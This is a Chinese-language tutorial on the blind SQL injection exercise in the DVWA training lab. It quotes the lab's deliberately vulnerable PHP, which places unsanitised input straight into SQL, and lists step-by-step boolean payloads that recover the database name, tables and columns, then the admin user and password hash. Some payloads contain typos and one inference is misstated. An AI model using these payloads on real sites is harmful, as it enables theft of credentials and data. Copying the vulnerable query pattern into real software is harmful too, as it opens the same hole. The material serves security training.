DVWA—sql注入-盲注SQL Injection (Blind)

DVWA—sql注入-盲注(SQL Injection (Blind))

原理:

盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。盲注分为三类:基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注

low

 0);
				} catch(Exception $e) {
					$exists = false;
				}
			}
			((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
			break;
		case SQLITE:
			global $sqlite_db_connection;

			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			try {
				$results = $sqlite_db_connection->query($query);
				$row = $results->fetchArray();
				$exists = $row !== false;
			} catch(Exception $e) {
				$exists = false;
			}

			break;
	}

	if ($exists) {
		// Feedback for end user
		$html .= '
User ID exists in the database.
'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user $html .= '
User ID is MISSING from the database.
'; } } ?>

可以发现Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞

1.判断是否存在注入,注入类型

输入1,显示User ID exists in the database. (显示存在)

再输入 1’ and 1=1 # ,输出 exists

继续输入 1’ and 1=2 #,显示missing。

User ID is MISSING from the database. (显示不存在)

说明存在字符型的盲注。

2.猜数据库名

1’ and length(database())=1 #

1’ and length(database())=2 #

1’ and length(database())=3 #

先猜数据库名长度,看到哪个数字显示User ID exists in the database,就说明数据库名长度为多少。

1’ and length(database())=1 #,显示不存在,继续

1’ and length(database())=2 #,显示不存在,继续

1’ and length(database())=3 #,显示不存在,继续

1’ and length(database())=4 #,显示存在,说明数据库名长度为4。

已知数据库名长度,继续猜解数据库名,这里会用到二分法,有点类似枚举法。

1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)

1’ and ascii(substr(databse(),1,1))<101 #,显示存在,说明数据库名的第一个字符的ascii值小于101(小写字母e的ascii值)

1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100,(小写字母d的ascii的值)

1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值大于100,(小写字母d的ascii的值)

由此推断数据库名称的第一个字母是d,同理推断下去,可知数据库名为dvwa。

3.猜解数据库中的表名

先猜表的数量

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 #

显示不存在,说明数据表的数量不为1

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=2 #

显示存在,说明存在两个表。

接着猜解表名长度

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING,显示不存在,说明长度值小于10

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,显示存在,那么说明这个长度值在5-10之间,继续往下猜解。

然后在5,6,7,8,9里挨个去试,我这里就不截图了

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,那么说第一个表名长度为9。

然后利用二分法继续猜解第一张表的9个字母都是啥

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

直到—— 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,对应的字母为g。

同样的方法继续,分别得到其它的8个字母,为u、e、s、t、b、o、o、k,合起来为guestbook。

这是第一张表,第二张表也是如此

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97 #

一直到猜解结束,可以得出第二张表名为users。

4.猜解表中的字段名

已知两张表,guestbook和users,我们直奔users表,信息重要。

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)>10 #

显示不存在,说明表中的字段数量小于10。

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)>5 #

那么说这个值在5-10之间,5,6,7,8,9挨个去试

最后

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

那说明users表存在8个字段信息。

【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/…
密码:password/pass_word/pwd/pass/…

所以接下来我们要猜解账户和密码对应的字段是什么

1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user’)=1 #,输出exists

1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘password’)=1 #,输出exists

所以证明了 users表中有 user和password。

5.猜表中的字段值

同样使用二分法来做,直接写最后一步了:

用户名的字段值:1’ and length(substr((select user from users limit 0,1),1))=5 #,输出exists

——说明user字段中第1个字段值的字符长度=5。

密码的字段值:1’ and length(substr((select password from users limit 0,1),1))=32 #,

——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)

然后再使用二分法猜解user字段的值:(用户名)

第一个字符是a

1’ and ascii(substr((select user from users limit 0,1),2,1))=100 #(第二个字符)

第一个字符是d

… …

最终得到结果是admin。

猜解password字段的值:(密码)

1’ and ascii(substr((select password from users limit 0,1),1,1))>100 #(第一个字符)

… …

最后得到的是32位长的md5加密的字符串,解密就可以得到密码password。

medium

 0); // The '@' character suppresses errors
				} catch(Exception $e) {
					$exists = false;
				}
			}
			
			break;
		case SQLITE:
			global $sqlite_db_connection;
			
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
			try {
				$results = $sqlite_db_connection->query($query);
				$row = $results->fetchArray();
				$exists = $row !== false;
			} catch(Exception $e) {
				$exists = false;
			}
			break;
	}

	if ($exists) {
		// Feedback for end user
		$html .= '
User ID exists in the database.
'; } else { // Feedback for end user $html .= '
User ID is MISSING from the database.
'; } } ?>

Medium级别的代码利用mysql_real_escape_string函数对特殊符号进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

这一幕是否似曾相识,其实sql注入的medium级别也是这样的,原理基本相同,攻击思路也一样,利用burpsuite工具。

只不过,这次不采用布尔盲注法,采用延时盲注法,但都是二分法进行猜测。

high

 0); // The '@' character suppresses errors
				} catch(Exception $e) {
					$exists = false;
				}
			}

			((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
			break;
		case SQLITE:
			global $sqlite_db_connection;

			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
			try {
				$results = $sqlite_db_connection->query($query);
				$row = $results->fetchArray();
				$exists = $row !== false;
			} catch(Exception $e) {
				$exists = false;
			}

			break;
	}

	if ($exists) {
		// Feedback for end user
		$html .= '
User ID exists in the database.
'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user $html .= '
User ID is MISSING from the database.
'; } } ?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。真的跟前面的sql注入一样的套路啊,记得利用#进行注释。

你可能感兴趣的:(DVWA通关教程,sql,数据库,安全,web安全)